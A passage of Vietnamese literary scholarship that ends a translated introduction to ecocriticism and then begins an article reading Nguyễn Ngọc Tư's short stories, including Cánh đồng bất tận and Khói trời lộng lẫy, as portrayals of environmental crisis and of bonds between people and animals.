liên ngành về các vấn đề môi trường. Phê bình sinh thái chủ yếu là một
phong trào phê bình do các nhà phê bình da trắng thực hành. Nó trở thành
một phong trào đa quốc gia khi sự kết nối mạnh mẽ hơn được tạo nên giữa
môi trường và kết quả của sự công bằng xã hội; khi sự đa dạng của các tiếng
nói được khuyến khích để tranh luận. Tiêu điểm của cuốn sách này là những
tác phẩm phê bình sinh thái ở Mỹ. Tuyển tập tiếp theo có thể là tuyển tập
tác phẩm quốc tế về các vấn đề môi trường toàn cầu hiện nay và tình trạng
phân tán của chúng ta sẽ cần đến sự cộng tác trên phạm vi toàn thế giới
(13)
.
Năm 1985, Coren Acton, một chàng trai ở trang trại Montana quay
thiên văn năng lượng mặt trời đang bay trên phía tàu vũ trụ con thoi
Challenger Eight. Những quan sát của anh có thể phục vụ để nhắc nhở
chúng ta về bối cảnh toàn cầu của công việc phê bình sinh thái:
57
“Nhìn ra bên ngoài bóng tối của không gian, rải vẻ lộng lẫy huy hoàng
của vũ trụ ánh sáng, tôi cảm thấy vẻ uy nghi, nhưng điều đó không mang lại
cho tôi niềm vui. Bên dưới là một hành tinh chào đón. Ở đó, chứa đựng
trong cái vỏ mỏng, chuyển động và cực kì mong manh của sinh quyển là tất
cả những gì thân yêu, tất cả mọi tấn kịch và bi kịch của con người”(14)
.
—————–
1. Stephen Greenblatt and Giles Gun, ed., Redrawing the Boundaires:
The Transformation of English and American Literary Studies (New York:
MLA, 1992) 1- 3
2. Frederick Owaage, ed., Teaching Environmental Literature: Materials,
methods, Resources, (New York: MLA, 1985) viii.
3.Information on The American Nature Writing Newsletter,
Interdisciplinary Studies in Literature and Environment (ISLE), and the
Association for the Study of Literature and Environment (ASLE) can be found
in the Periodicals and Professional Organizations section at the back of this
book.
5. Joseph Meeker, The Comedy of Survival: Studies in Literary Ecology
(New York: Seribner s, 1972)
6. Wendell V. Harris, “Toward an ecological critism: contextual versus
unconditional literary Theory” (College English 48.2 *February 1986+ 166 –
31)
58
8. Donald Woster, The Wealth of Nature Enviromental History and the
Ecological Imagination (New York: Oxford University Press, 1993) 27
10. Wallace Stegner, letter to the author, 28 May 1989.
11. Elaine Showalter, “Introdution: The Feminism Critical Revolution”
The New Feminism Criticism: Essay on Women, Literature and Theory,
ed., Elaine Showalter (New York: Patheon, 1985) 3 – 17
13. The Cultrure of Nature: Approaches to the study of Literature and
Enviroment, ed. Scott Slovic and Ken-ichi Noda (Kyoto: Minerva Press, 1995)
14. The Home Planet, ed. Kevin W. Keeley (New York: Addison Wesley,
1988)
*Các chú thích 4, 9, 12 tác giả đưa ra hệ thống các tác phẩm bàn đến
từng vấn đề, chúng tôi không chú thích lại vì khá dài.
Trần Thị Ánh Nguyệt dịch từ bản tiếng Anh “Introdution: Literary
studies in an age of environmental crisis” của Cheryll Glotfelty trong Tuyển
tập Phê bình sinh thái: Các mốc quan trọng trong Sinh thái học Văn học (The
Ecocriticism Reader: Landmarks in Literary Ecology, University of Georgia
Press, 1996, trang 15 – 25) do Cheryll Glotfelty và Harold Fromm chủ biên
(Bài đã đăng Tạp chí Sông Hương, số 305 tháng 7, tr 86 – 95)
59
Thiên nhiên trong truyện ngắn Nguyễn Ngọc Tư
từ góc nhìn phê bình sinh thái
Trần Thị Ánh Nguyệt

TÓM TẮT :
Theo Cheryll Glotfelty, phê bình sinh
thái, nói một cách đơn giản nhất, là
nghiên cứu mối quan hệ giữa văn
học và môi trường tự nhiên. Nó phản
biện lại các lí thuyết khoa học nhân
văn lấy “con người làm trung tâm”
trước đó, để đề xuất cách nhìn nhận,
tiếp cận “trái đất làm trung tâm”.
Bài viết của chúng tôi muốn từ tư
tưởng cốt lõi đó để “đọc” truyện
ngắn Nguyễn Ngọc Tư. Từ góc nhìn
này, nhà văn đã đặt ra một cách
trực diện những vấn đề môi trường
và số phận của con người trong thời
đại khủng hoảng môi sinh. Đồng thời
tác giả cũng đề xuất một cách lắng
nghe tiếng nói từ tự nhiên để tìm
cho ra câu trả lời cho những khủng
hoảng của con người thời hiện đại
và đề xuất một thái độ sống gần gũi
tự nhiên để được chia sẻ và thanh
thản.
Thế kỉ XXI là thế kỉ mà nhiều nhà
nghiên cứu cho rằng con người phải
đối mặt với nhiều nguy cơ sinh thái
nhất nhưng đồng thời đây cũng là
thế kỉ sẽ nảy nở và phát triển các
trào lưu sinh thái. Bởi lẽ, càng ngày
40
con người càng nhận ra cần phải
duy trì sự hài hòa, ổn định, cân bằng
hệ sinh thái thì sẽ khiến cho nhân
loại phát triển bền vững, ổn định.
Do vậy, phê bình sinh thái sẽ là một
lí thuyết đem lại cho thực tế nghiên
cứu văn học những cách tân đáng
kể, làm thay đổi toàn bộ hệ tư
tưởng đã tồn tại một cách cố hữu
trong tư tưởng nhân loại – con
người là trung tâm để thay thế cách
tiếp cận mới – sinh thái là trung
tâm. Phê bình sinh thái xuất hiện ở
các nước Âu Mĩ nhưng các học giả
đang tìm đến phương Đông, nơi có
truyền thống gắn bó hài hòa với tự
nhiên nhưng hiện tại lại là khu vực
có nhiều nguy cơ sinh thái. Gợi ý từ
phê bình sinh thái, chúng tôi nhận
thấy ở truyện ngắn Nguyễn Ngọc Tư
– một tâm hồn mê đắm tự nhiên,
đặt lòng mình vào từng dòng sông,
ngọn gió, cánh chim để hiểu linh
hồn của tạo vật từ đó rung lên hồi
chuông cảnh tỉnh về khủng hoảng
sinh thái.
1. Một cái nhìn sơ lược về phê
bình sinh thái
Phê bình sinh thái (ecocritisim) còn
được gọi bởi những cái tên khác
như “phê bình (văn hóa) xanh”
(green (cultural) studies), “thi pháp
sinh thái” (ecopoetics) hay “phê
bình văn học môi trường”
(environmental literary criticism).
Tên gọi phê bình sinh thái do Wiliam
Rueckert sử dụng vào năm 1978
trong khảo luận “Văn học và sinh
thái học: một thử nghiệm mới trong
phê bình sinh thái” (Literature and
Ecology: An Experiment in
Ecocritism). Mục đích của ông là ứng
dụng sinh thái học và các thuật ngữ
sinh thái học vào nghiên cứu văn
học.
Các nhà phê bình sinh thái công bố
các tác phẩm vào cuối những năm
1960 và 1970 nhưng phê bình sinh
thái chưa trở thành một phong trào
thống nhất. Mặc dù vậy, trong thời
gian này, công trình của Joseph
Mecker là “Bi kịch của sự sống sót”
(The Comedy of Survial, 1974) đã
đưa ra một vấn đề sau này trở
thành cốt yếu của phê bình sinh thái
và triết học môi trường: cuộc khủng
hoảng môi sinh chủ yếu bắt nguồn
từ truyền thống văn hóa phương
41
Tây vốn chia tách văn hóa ra khỏi tự
nhiên và dành cho văn hóa thế ưu
trội. Thuyết loài người là trung tâm
(anthropocentrism) đã tồn tại một
cách thâm căn cố đế trong văn hóa
phương Tây mà bỏ qua lợi ích của
môi trường.
Giữa thập kỉ tám mươi của thế kỉ
XX, các học giả cộng tác với nhau
xây dựng phê bình sinh thái trở
thành một phong trào mạnh mẽ.
Người có công phát triển phong trào
phê bình sinh thái là Cheryll
Glotfelty, đã đồng biên tập với
Harold Fromm một tuyển tập cốt
yếu các bài viết có tính định hướng
quan trọng là “Tuyển tập Phê bình
sinh thái: Các mốc quan trọng trong
Sinh thái học Văn học” (The
Ecocriticism Reader: Landmarks in
Literary Ecology, University of
Georgia Press, 1996). Năm 1992 bà
cũng là nhà sáng lập ra ASLE (the
Association for the Study of
Literature and Environment) – Hiệp
hội Nghiên cứu Văn học và Môi
trường. ASLE có một tờ báo riêng là
ISLE (Interdisciplinary Studies in
Literature and Environment) –
Nghiên cứu Liên ngành Văn học và
Môi trường, ra đời năm 1993. Nhờ
đó phê bình sinh thái đã chính thức
trở thành một phong trào nghiên
cứu hàn lâm vào đầu thập niên
1980. Cheryll Glotfelty cũng đã đưa
ra một định nghĩa giản dị và rõ ràng
về phê bình sinh thái “Nói một cách
đơn giản, phê bình sinh thái là việc
nghiên cứu mối quan hệ giữa văn
học và môi trường tự nhiên” *8,18+.
Thông qua nghiên cứu văn học để
nhìn nhận lại toàn bộ văn hóa của
con người. Chính thái độ ngạo mạn
của con người đối với tự nhiên đã
làm ảnh hưởng nghiêm trọng đến
môi trường sinh thái. Phê bình sinh
thái đã thay đổi một cách cơ bản
cách nhìn nhận, tiếp cận đối tượng,
tất cả các phong trào nghiên cứu
văn học từ trước đến nay đều lấy
con người làm trung tâm, còn phê
bình sinh thái lấy sinh thái làm trung
tâm.
Để giải quyết vấn đề sinh thái, đòi
hỏi con người phải nhìn nhận lại
phương thức sống của mình, xem
xét lại văn minh, văn hóa của mình
để đề xuất và điều chỉnh, đánh giá
lại thái độ của mình đối với tự
nhiên. Đây là cuộc cách mạng về thế
42
giới quan của con người. Bởi vậy, khi
nghiên cứu con người trong mối
quan hệ sinh thái, chúng ta thấy
rằng con người – bản thân nó là
phép tắc của tự nhiên. Sự sống phát
triển khi con người được sống hài
hòa, thân mật, hợp với tự nhiên.
2. Sự hủy hoại của môi trường
sinh thái
Trước tình trạng môi trường toàn
cầu ngày một tồi tệ đi, một trong
những vấn đề cấp thiết mà phê bình
sinh thái đặt ra là cảnh báo về sự
hủy hoại tự nhiên, sự biến đổi của
môi trường sinh thái. Ứng xử ngỗ
ngược của của con người với bà mẹ
Trái đất đã gây ra nhiều tai họa. Con
người đang phải trả giá rất đắt cho
việc chúng ta trở nên tự phụ đến
mức quên cả cảm thông với thiên
nhiên. Vấn đề thời sự này đã được
nhiều tác giả đề cập như Nguyễn
Minh Châu, Nguyễn Huy Thiệp,
Nguyễn Quang Thiều, Sương Nguyệt
Minh… nhưng với Nguyễn Ngọc Tư,
điều này được đặt ra một cách bức
thiết, trực diện và tha thiết. Tác giả
đã phát hiện ra một chân lí thật giản
dị mà nghiêm trọng: “Con người
trừng trị thiên nhiên bằng cách hạ
nhục, hủy hoại nó, còn thiên nhiên
trả thù bằng cách: Nó biến mất” *7,
153].
Rất khác với Đoàn Giỏi (Đất rừng
phương Nam) chọn một cậu bé
thành phố lưu lạc về miền sông
nước làm nhân vật chính, lấy con
mắt chiêm ngưỡng, lạ lùng, tò mò
của người thành phố để nhìn vẻ đẹp
sông nước mênh mông, giàu có, hầu
hết các nhân vật của Nguyễn Ngọc
Tư sống, lớn lên và vật lộn trên
mảnh đất của mình nên đó là cái
nhìn của người trong cuộc, đứng
trước đổi thay, phai nhạt của quê
hương thấy xót xa, đắng đót. Người
nông dân hàng ngày đối diện với bờ
kênh, con rạch, mảnh ruộng… nên
cảm nhận về những tai họa của tự
nhiên: đất lở, núi lở, hạn hán, xâm
ngập mặn, mùa nước nổi kéo dài…
thật cụ thể, chân thực. Nhiều ý kiến
cho rằng Nguyễn Ngọc Tư là nhà văn
của “miệt vườn” Nam Bộ nhưng kì
thực, đọc truyện, thi thoảng lắm
mới thấy hình ảnh cây trái xum xuê
còn hầu như là sự phai màu của đất,
sự biến mất của tự nhiên tươi đẹp,
những thảm họa thiên nhiên trút
43
xuống… Cánh đồng bất tận mở ra
bằng một bức tranh khô hạn: “mùa
hạn hung hãn dường như cũng gom
hết nắng đổ xuống nơi này” [5, 155],
“trong một mùa hạn nóng bỏng, bất
thường” *5, 162+, “nắng rất dài” [5,
162], “mùa mưa vẫn còn xa lắm” [5,
162], “nắng võ vàng trên những
cánh đồng hoang lạnh” [5, 175],
“nắng giữa trưa nóng rát” *5, 178+,
“nắng như tát lửa” *5, 206+. Hạn hán
là thảm họa đối với người nông dân.
“13 tháng nắng hạn liên tiếp” *6, 50+
tức là “hơn bốn trăm ngày nắng như
thiêu như rang” *6, 53+ đã xua
những đứa trẻ lên thành phố, “hạn
hán quá lâu” *6, 44+ khiến cho đàn
dê của Củi (Sầu trên đỉnh Puvan)
chết hết, chỉ còn 1 con. “Nắng quay
quắt như vắt như vo con người
thành những hòn đá khô khốc có thể
lăn cọc cạch” *7, 13+, làm cho thậm
chí cả nước mắt cũng ráo hoảnh
“dường như nước mắt cũng bị cái
nắng dai dẳng rút cạn, bay hơi đi”
[6, 50].
Là nhà văn của miền sông nước,
Nguyễn Ngọc Tư phát hiện ra rằng
nước được coi là yếu tố quan trọng
nhất cấu thành sự cân bằng sinh
thái tự nhiên, thiếu nước là hạn hán
nhưng tác giả cũng phát hiện ra
nghịch cảnh “dừng chân bên bờ
sông lớn mênh mang, mỉa mai,
người ở đây lại không có nước để
dùng” *5, 162+. Tình cảnh thiếu
nước sạch trong Cánh đồng bất tận
thật tội nghiệp: “Họ đi mua nước
ngọt bằng xuồng chèo, nín thở để
nước khỏi sánh ra ngoài… tụt xuống
ao tắm táp thứ nước chua lét vì
phèn, rồi xối lại đúng hai gàu. Nước
vo cơm dùng để rửa rau, nước rửa
rau xong dành rửa cá” *5, 162+.
Trong bối cảnh chúng ta đang đặt
vấn đề về “an ninh nước”, phát hiện
này của Nguyễn Ngọc Tư quả đã
chạm vào những điều thiết cốt của
sinh thái môi trường.
Kiểu tự sự của Nguyễn Ngọc Tư
vừa có sức hút của truyền thống với
cốt truyện chính bao giờ cũng có vẻ
giật gân lại vừa rất hiện đại, cốt
truyện luôn bị chìm đi bởi những
yếu tố ngoài cốt truyện. Bằng cách
đó tác giả làm cho truyện chồng lên
nhiều tầng { nghĩa mà soi chiếu ở
góc độ nào cũng bóc tách ra được
các vấn đề. Và đôi khi do sự chìm
lấp của cốt truyện, những vấn đề
44
đặt ra ngoài cốt truyện ấy hiện lên
thật sắc nét. Nước như nước mắt là
câu chuyện về người chồng bị người
yêu cũ giết chết, người vợ tìm cách
trả thù kẻ đã gây ra cái chết của
chồng. Nhưng cốt truyện khá gay
cấn đó chỉ như là một cái cớ còn hầu
hết nó được dệt nên bởi cảm nhận
của nhân vật về mùa nước nổi, về sự
xâm thực của biển vào đất liền, đẩy
người nông dân ngày một lùi xa vào
đất “Ngó nước bắt đầu linh đinh bờ
bãi, người ở xóm Rẫy thở dài ứ hự,
chắc năm sau ăn tết trên ghe” *7,
11]. Cái cảm giác ngoài cốt truyện
đó đã giải thích nguyên nhân về cái
chết nghe thật bâng quơ và khó tin
“Chồng Sáo chết vì mấy lá ngò gai”
[7, 8]. Bởi sự thực, sống trong tình
cảnh “cứ mỗi năm nước đuổi lại
sớm hơn, mùa mỗi năm lại dài hơn
(…) nước theo sông ngày càng vào
sâu hơn, trên bờ bãi, ngấm vào chân
ruộng… đắp tới đâu, nước theo tới
đó, cơi nhà tới đâu, nước ngập tới
đó” *7, 12+, môi trường sống xung
quanh ngày một xuống cấp nghiêm
trọng: “cây trái tàn rụi, chỉ có cỏ
đuôi mèo là sống được” *7, 13+,
“những con cá nước đục còn sót lại,
ốm ròm, trên mình đầy ghẻ lở” *7,
13], cả đôi cá bạc đầu huyền thoại
cũng “chạm râu vào nhau khẽ
khàng, như âu yếm, như đờ đẫn,
như dịu dàng lại như kiệt sức” *7, 9+,
sức chống chọi với mùa của con
người cũng “mệt mỏi và đuối sức
như con cá nước đục khắc khoải
sống với cái vị mặn mòi xa xót của
biển” *7, 14+, vì “nước đuổi đã 2
tháng rồi, đến con người cũng phờ
phạc đi” *7, 10+. “Khi bị bứng lìa ra
khỏi mặt đất” *7, 14+, sống trên ghe
mọi sinh hoạt bị đảo lộn: chỉ được
“tắm khô”, giữa bữa cơm bất chợt
thèm ớt, nắng mà không có bóng
cây mắc võng nằm, chết cũng phải
chờ nước rút thì mới đem âm thổ…
thì có lẽ nguyên nhân cái chết vì
thèm rau tưởng như vô lí của chồng
Sáo cũng trở nên bình thường “nó
diễn ra mỗi ngày, người ta chết
đuối, chết vì khát, vì thèm tắm, vì
nhớ vị của trái ổi chát, vì giành nhau
cành củi trôi sông…” *7, 14+ và vì
một điều nghiêm trọng hơn nhiều
như ông bán xôi dạo thốt lên “thời
thế loạn rồi, đất không còn thì thứ gì
còn” *7, 15+. Đó cũng là cách tự sự
quen thuộc của Sầu trên đỉnh Puvan,
Khói trời lộng lẫy… Nương theo số
phận của nhân vật, Nguyễn Ngọc Tư
45
đặt ra nhiều vấn đề của môi trường
và số phận của cá nhân trong chỉnh
thể sinh thái. Thế giới tự nhiên có
một sự cân bằng tinh tế của các mối
quan hệ phức tạp liên hệ lẫn nhau
trong đó sự tồn tại của sinh vật này
phụ thuộc và sự tồn tại của sinh vật
khác. Con người là một phần của hệ
sinh thái, cuộc sống của con người
phải tùy thuộc vào thế giới tự nhiên
ấy. Vậy nên, khi chỉnh thể sinh thái
của tạo hóa bị hủy hoại thì sự sống
của bản thân con người tất sẽ bị đe
dọa cả thể chất lẫn tinh thần: “Thế
giới sinh vật là một “dây chuyền
sống” cực kì tế nhị và người ta
không thể phá hủy một mắt xích
trong dây chuyền này mà không bị
trừng phạt” *4, 113].
Nếu như ở các tập truyện ngắn
viết thời kì đầu (Ngọn đèn không
tắt, Giao thừa) chủ yếu xoay xung
quanh đề tài tình cảm: những mối
tình đầu, tình cha con, tình mẫu tử…
thì về sau, lồng trong câu chuyện là
vấn đề thời sự: vấn đề môi trường.
Tư tưởng này có lẽ thể hiện ngay ở
cách đặt tên các tập truyện bằng
những hình ảnh gắn liền tự nhiên:
Cánh đồng bất tận – thiên nhiên bao
giờ cũng mênh mông, trải dài, bất
tận, vĩnh cửu; Gió lẻ – lấy cái đơn
độc của thiên nhiên để biểu hiện sự
cô đơn của con người, Khói trời lộng
lẫy – những gì thuộc về tự nhiên
đều khoáng đạt, đẹp đẽ, lộng lẫy. Sự
suy giảm của môi trường sống đã
được Nguyễn Ngọc Tư đặt ra ở Cánh
đồng bất tận qua đôi dòng cảm
nhận của Nương: “Những cánh
đồng trở thành đô thị; những cánh
đồng ngoa ngoắt thay đổi vị của
nước, từ ngọt sang mặn chát (…), đã
hất hủi cây lúa (và gián tiếp từ chối
đàn vịt). Đất dưới chân chúng tôi
thu hẹp dần” *5, 208+, qua cái lắc
đầu ngao ngán của Sương trước
dòng nước quánh lại vì phèn thì đến
tập Khói trời lộng lẫy những nỗi đau
môi trường trở thành tư tưởng chủ
đạo. Trong truyện ngắn Khói trời
lộng lẫy, người đọc nhận ra một
tiếng nói khẩn thiết, mãnh liệt về
một tấm lòng tha thiết với thiên
nhiên, mê đắm với vẻ đẹp của cành
hoa ngọn cỏ, đau đớn trước sự mất
dần của thiên nhiên tươi đẹp, chua
chát trước sự tàn hại của con người.
Lắng nghe tiếng kêu cứu từ tự
nhiên, những kẻ mê đắm thiên
nhiên trong Viện Di sản thiên nhiên
46
và con người đều có “cảm giác mất
mát thật rõ ràng” *7, 140+ vì “Những
vẻ đẹp được nhốt trong phòng lưu
giữ của Viện là những tiếng kêu thét
tuyệt vọng, bất lực trước mất mát,
sự run rẩy của nỗi buồn, bởi quá
nhiều thứ ta không bao giờ thấy lại
ngoài đời” *7, 135+, bởi ở đó là tiếng
gọi khẩn thiết về sự biến mất dần
của vẻ đẹp tự nhiên, là “sự níu kéo
vô vọng của con người” *7, 155+. Di
nhận thấy những vẻ đẹp bị nhốt
trong Viện là những vẻ đẹp chết,
không có sinh sắc của sự sống. Con
người đã biến thiên nhiên thành đại
công trường, khu công nghiệp, nhà
ở, thành phố… “xua đuổi thiên nhiên
đi xa” *7, 132+, “hạ nhục tự nhiên”
[7, 153], can thiệp thô bạo vào vẻ
đẹp nguyên sơ của nó. Tư tưởng này
còn thể hiện một cách đậm đặc và
sắc nhọn trong tạp văn, nơi mà nhà
báo Nguyễn Ngọc Tư có thể trình
bày trực tiếp nỗi nhức nhối. Cả
trong tiểu thuyết Sông, viết về một
nhân vật đồng tính chán chường,
hoang hoải với cuộc sống đô thị
thực hiện dự án về kí sự sông Di và
coi đó là cuộc ra đi mãi mãi của
mình như những con sông lở – đất
đai, địa danh, nhà cửa, con người…
bị đứt rời, cắt khúc, mất tích vào
khoảng không mênh mông của dòng
nước. Khắp các trang viết là nỗi ai
hoài trước vẻ đẹp tự nhiên ngày
một nhạt phai, phập phồng một nỗi
âu lo về những hiểm họa thiên
nhiên đe dọa cuộc sống vốn mong
manh của người dân cực Nam tổ
quốc.
Cách viết này thật khác Sơn Nam
trong tập Hương rừng Cà Mau với
cảm hứng sử thi về khát vọng chinh
phục tự nhiên, sự kiêu hùng của con
người trước thiên nhiên; khác với
Đoàn Giỏi trong Đất rừng phương
Nam là tình yêu thiên nhiên hòa lẫn
vào tình yêu đất nước, Nguyễn Ngọc
Tư mang tâm thế của con người thời
hiện đại bị văn minh dồn đuổi, hoàn
toàn mất niềm tin vào con người
“không con nào tàn phá gây hại như
con người, đi tới đâu thiên nhiên lụn
bại tới đó” *7,143+. Tư tưởng này
gợi nhớ đến lời của J.J.Rousseau
“Tất cả đều tốt đẹp trong bàn tay
của tạo hoá bước ra, tất cả đều
thoái hoá đi trong bàn tay của con
người” *Dẫn theo 1, 135+. Đó cũng là
điểm cơ bản mà phê bình sinh thái
muốn phản tỉnh. Trước sự khai thác
47
quá mức bởi nhịp độ phát triển ngày
một tăng, môi trường đứng trước
nguy cơ thảm họa. Để giải quyết
khủng hoảng sinh thái con người
phải nhìn lại phương thức sống, xem
xét lại văn minh văn hóa để đề xuất,
đánh giá lại thái độ của mình với
Trái Đất. Điều này dẫn đến cuộc
cách mạng thế giới quan của con
người mà văn học phải tham dự vào
như một cách đề nghị, như một lời
cảnh báo.
3. Lắng nghe tiếng nói từ tự nhiên
Phê bình sinh thái ảnh hưởng từ tư
tưởng sinh thái học bề sâu (Deep
ecology), một triết lí sinh thái và môi
trường hiện đại tôn trọng sự tồn tại
bình đẳng của tạo vật, mọi sinh vật
trong hệ thống không có loài nào ở
thế ưu trội. Tư tưởng này bác bỏ
quan niệm “con người là trung tâm”
bám rễ sâu trong văn hóa phương
Tây. Từ tư tưởng mang tính cách tân
này, chúng ta thấy Nguyễn Ngọc Tư
đã đặt ra nhiều vấn đề mà con
người hiện đại cần suy ngẫm.
Các nhân vật của Nguyễn Ngọc Tư
thường rất cô độc, mỗi nhân vật bị
đẩy vào cô đơn theo những cách
khác nhau của dòng đời đầy bất
trắc. Không có ai chia sẻ hoặc từ
chối chia sẻ với mọi người, họ tìm
đến thiên nhiên như một nơi để vơi
bớt nỗi trống trải mênh mông trên
cõi đời này. Hạn hán đẩy các bạn lên
thành phố, Củi (Sầu trên đỉnh
Puvan) đặt tên lũ dê bằng tên những
người bạn và chia sẻ buồn vui với
chúng, thậm chí cả khi lũ dê chết
cậu vẫn giữ cái đầu lâu dê bên mình.
Ông già trong Cái nhìn khắc khoải
chỉ có con Vịt Cộc chuyện trò, tâm
sự, giãi bày để đươc an ủi. Mẹ cha
ích kỉ, tàn nhẫn chỉ lo kiếm tiền và
xua đuổi ông nội – người bạn duy
nhất nên cậu bé (Núi lở) suốt ngày
chỉ tha thẩn với con nhồng. Nương
và Điền lang thang trên khắp các
cánh đồng, không bạn bè người
thân, chỉ có người cha đầy thù hận
nên làm bạn với với gà vịt, chim
muông, nương tựa vào tự nhiên mà
sống “tự học cách định hướng bằng
mặt trời, sao đêm, bằng gió, bằng
ngọn cây” *5, 174+… Muông thú là
người bạn thân thiết của con người
– chúng ta đã nói câu đó đến sờn
mòn, thậm chí không còn cảm giác
về lời nữa. Thế nhưng, tình cảm của
ông Sáu và con bìm bịp trong Biển
48
người mênh mông vẫn khiến chúng
ta cảm động.
Dễ nhận thấy, làm bạn với loài vật,
lắng nghe tiếng nói của loài vật
trong truyện Nguyễn Ngọc Tư hầu
hết là những nhân vật người già
hoặc trẻ em – những con người gần
tự nhiên hơn cả. Chỉ có tâm hồn bao
dung “như nước lớn, như đồng
khơi” *5, 51+ của người già và tâm
hồn nguyên sơ thánh thiện của trẻ
nhỏ mới cảm nghe được linh hồn
của tạo vật. Khi một lần Nương nghe
tiếng mấy con vịt cãi nhau cô cảm
động mãi trước lời con vịt mù vì
ngoài Điền, đó là con vật duy nhất
nghe được trái tim của cô: “một con
vịt đui khịt mũi, cười, “Nó chớ ai,
giọng có khác, nhưng rõ ràng là
tiếng trái tim nó. Quen lắm. Chập
chờn, thút thít, đòng đưa như sắp
rụng…” *5, 196+, đến nỗi khi lũ vịt
của gia đình Nương bị thiêu hủy,
Nương cảm thấy thật mất mát như
mất đi một người thân vậy “Tôi tiếc
thôi là tiếc sinh linh nhỏ bé đã thấu
được tim mình” *5, 198+. Ở đây,
chúng ta bắt gặp triết lí sinh thái của
Nguyễn Ngọc Tư trong cái nhìn bình
đẳng với tạo vật: Động vật cũng có
cảm thụ mĩ cảm của nó, biết lắng
nghe và đánh thức tâm hồn con
người. Hầu hết nhân vật loài vật của
Nguyễn Ngọc Tư đều có tâm hồn và
tính cách. Đó là chú vịt Cộc cá tính,
con bìm bịp nghĩa tình, con vịt mù
tinh tế… Thế giới loài vật không phải
chỉ là nền cảnh, là cái cớ để con
người bộc lộ tâm trạng mà “chúng
có sinh mệnh thật sự” như nhà văn
Mạc Ngôn từng phát biểu “Khi đó
tôi bỗng cảm thấy cỏ cây quanh
nh, và cả dê nữa, đều có thể trò
chuyện với con người, chúng chẳng
những có sinh mệnh, mà còn có cả
tình cảm nữa” *3+. Ông lão chăn vịt
gắn bó với con vịt Cộc đến nỗi bạn
bè của ông than phiền “Cha nội này
sống thấy rầu quá trời đất, mai mốt
con vịt xiêm đó chết rồi, để coi ông
sống với ai?” *5, 51+. Và con vịt xiêm
đó không chỉ quan trọng với ông lão,
nó còn quan trọng với cả truyện
ngắn Cái nhìn khắc khoải. Nếu thiếu
nó truyện sẽ trở nên rất nhạt. Kì
thực, đó là một cốt truyện không
hấp dẫn nhưng lối viết duyên dáng
nhờ thêm vào chú vịt Cộc khiến cho
câu chuyện trở nên có hồn. Đây có
lẽ cũng là ngụ ý của tác giả khi xây
dựng song song hai hình tượng
49
người – vịt. Ngay khi giới thiệu ông
lão chăn vịt đồng khơi hình ảnh con
Cộc cũng được hình dung cụ thể với
thói quen (buổi sáng ùa ra cùng với
bầy vịt rồi nghe ông lão gọi thì cọ
đầu vào bắp đùi của ông; buổi tối
ngủ vùi dưới mé kinh, ông lão kêu
lại lạch bạch đi lên), cảm giác (mùi
rạ thơm quá, ngọt quá, ngụp mỏ
vào thấy sướng người[5, 50]), tính
cách (Nó là con vịt chúa gây
chuyện… Nó khá cộc cằn, tư lự [5,
51]). Đó là chú vịt có cá tính, thông
minh và khá ý nhị. Từ cái cách chú
chào đón cô Út “Con vịt ngoắc
ngoắc cái đầu lại, ý nói, vịt xiêm chớ
vịt gì, thiệt tình” *5, 52+, nhận ra sự
bối rối của hai người “bữa nay hai
ông bà có chuyện gì mà bắt mình ăn
thấy bà cố nội” *5, 59+ đến cách chú
bình luận về tình cảnh khó khăn
“Con Cộc điềm đạm lại cái mẻ lúa,
nó ăn chậm rãi. Ý nói sao mà tôi tội
nghiệp hai người quá đi, làm người
mà khổ vậy, làm vịt sướng hơn” *5,
60], cái cách chia sẻ với ông lão “gác
đầu lên đùi ông, cọ cọ an ủi” *5, 60+
và cái nhìn thấu hiểu, cảm thông
“Con Cộc mổ vô ống quyển của ông,
rồi nhóng cần cổ dòm ông lom lom,
có phải ông chờ bà đó quay lại
không?” *5, 61+ thật tinh tế, toát lên
một thần thái rất duyên dáng. Quả
là, loài vật cũng có cảm nhận đời
sống riêng theo cách của nó, có một
cảm quan đặc biệt, biết lắng nghe và
đánh thức phần tâm linh sâu thẳm
của con người. Những hành trình cô
độc của một con người cô đơn với
con vật yêu thương của mình là
motip quen thuộc trong văn học bởi
vì trong những khoảnh khắc đặc biệt
ấy sự nhạy cảm bản năng của loài
vật đã đánh thức phần vô thức chìm
sâu của con người. Vĩnh biệt
Gunxarư của Aitmatốp là một cuộc
đi nhuốm đầy màu sắc huyền thoại
của một người già nua trên chiếc xe
ngựa già nua. Hành trình ấy khơi dậy
trong ký ức đã tàn lụi bóng dáng của
những ngày xưa cũ kì diệu, mãnh
liệt. Phiên chợ Giát (Nguyễn Minh
Châu) là dòng nội tâm miên man của
lão Khúng chập chờn đan xen hai
chiều quá khứ, hiện tại lồng cài trên
quãng đường dắt con bò ra chợ
Giát. Con bò Khoang đã gợi dậy một
thế giới hoang vu, âm u, mờ mịt của
cuộc đời nhoè nhoà trong muôn vàn
đối lập tương tranh giữa tủi cực, vất
vả, cực nhọc nhiều mất mát nhưng
cũng đầy yêu thương, gắn bó, xen
50
lẫn giữa tối tăm, mịt mùng và ánh
sáng của lão Khúng.
Không chỉ có tâm hồn và tính cách,
thế giới loài vật của Nguyễn Ngọc Tư
tràn đầy yêu thương, trái ngược lại
với thế giới đầy bất trắc, xảo trá, lọc
lừa của loài người. Đối với Điền và
Nương, “Thế giới của loài vịt mở ra
– không ghen tuông, hờn giận, chắc
tại cái đầu vịt nhỏ quá nên chỉ đủ
cho yêu thương” *5, 195+. “Em” (Gió
lẻ) phát hiện ra rằng “không biết
trên thế gian này có con chim nào
tìm tới cái chết vì tiếng nói của con
chim khác? Có con chó nào bỗng
dưng đâm đầu vào đá vì tiếng sủa
của con chó khác? Có con bò nào
nhảy xuống sông tự tử vì tiếng kêu
của con bò khác?” *6, 147+. So sánh
muông thú với con người, thậm chí
thấy con người thật tồi tệ. Hành
động trả thù của cha khiến Nương
và Điền “xấu hổ vì mình là con người
xộc lên mũi sặc sụa” *5, 200+ khi đối
sánh với hành động đạp mái của bầy
vịt “tôi phát hiện ra chúng chẳng
bao giờ cưỡng đoạt và gạ gẫm
nhau. Khoảng thời gian trước khi
con trống trèo lên con mái rất thật,
mềm mại, êm đềm… Tuyệt không có
gì thô tục (…), trong sự hoan lạc (của
những con vịt) đầy ắp thứ gọi là tình
– yêu” *5, 200+. Đối với bản thân loài
vật, hoạt động tính dục được thực
hiện đúng với bản năng thiên bẩm,
tự nhiên, hài hòa “có mối liên hệ
giữa mĩ cảm với hoạt động tính dục
ngay ở loài vật (…) chuyện tính dục
được bộc lộ đầy thi vị, mang sắc thái
thẩm mĩ” *2, 10+. Còn con người,
hoạt động ấy mang trong đó sự ích
